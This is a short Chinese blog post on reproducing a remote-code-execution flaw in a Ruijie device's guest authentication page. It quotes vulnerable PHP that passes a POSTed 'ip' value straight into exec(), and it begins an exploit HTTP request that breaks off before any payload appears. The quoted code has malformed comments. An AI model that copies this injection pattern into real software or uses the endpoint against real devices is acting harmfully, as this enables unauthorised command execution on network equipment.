锐捷rce复现漏洞

网站推广优化yetaoaiueo

于 2022-11-16 22:39:56 发布

阅读量1.2k

点赞数

分类专栏：安全漏洞相关文章标签： rce复现

本文链接：https://blog.youkuaiyun.com/yetaodiao/article/details/127895038

版权

安全漏洞相关专栏收录该内容

110 篇文章 ¥69.90 ¥99.00

订阅专栏

本文详细介绍了锐捷设备中RCE（远程代码执行）漏洞的复现过程，包括请求路径、涉及的文件以及发送的数据包内容。通过HTTP POST请求，利用特定的Content-Type和Cookie字段，可能实现对设备的远程控制。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

锐捷 rce复现，请求路径

/guest_auth/guestIsUp.php
//锐捷rce复现漏洞

锐捷rce漏洞文件

<?php
    锐捷rce复现漏洞,查询用户是否上线了
    $userip = @$_POST['ip'];
    $usermac = @$_POST['mac'];

    if (!$userip || !$usermac) {
        exit;
    }
    /* //锐捷rce复现漏洞,判断该用户是否已经放行 *
    $cmd = '/sbin/app_auth_hook.elf -f ' . $userip;
    $res = exec($cmd, $out, $status);
    /* 如果已经上线成功 */
    if (strstr($out[0], "status:1")) {
        echo 'true';
    }
?>

数据包
POST /guest_auth/guestIsUp.php HTTP/1.1
Host:
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wi

了解本专栏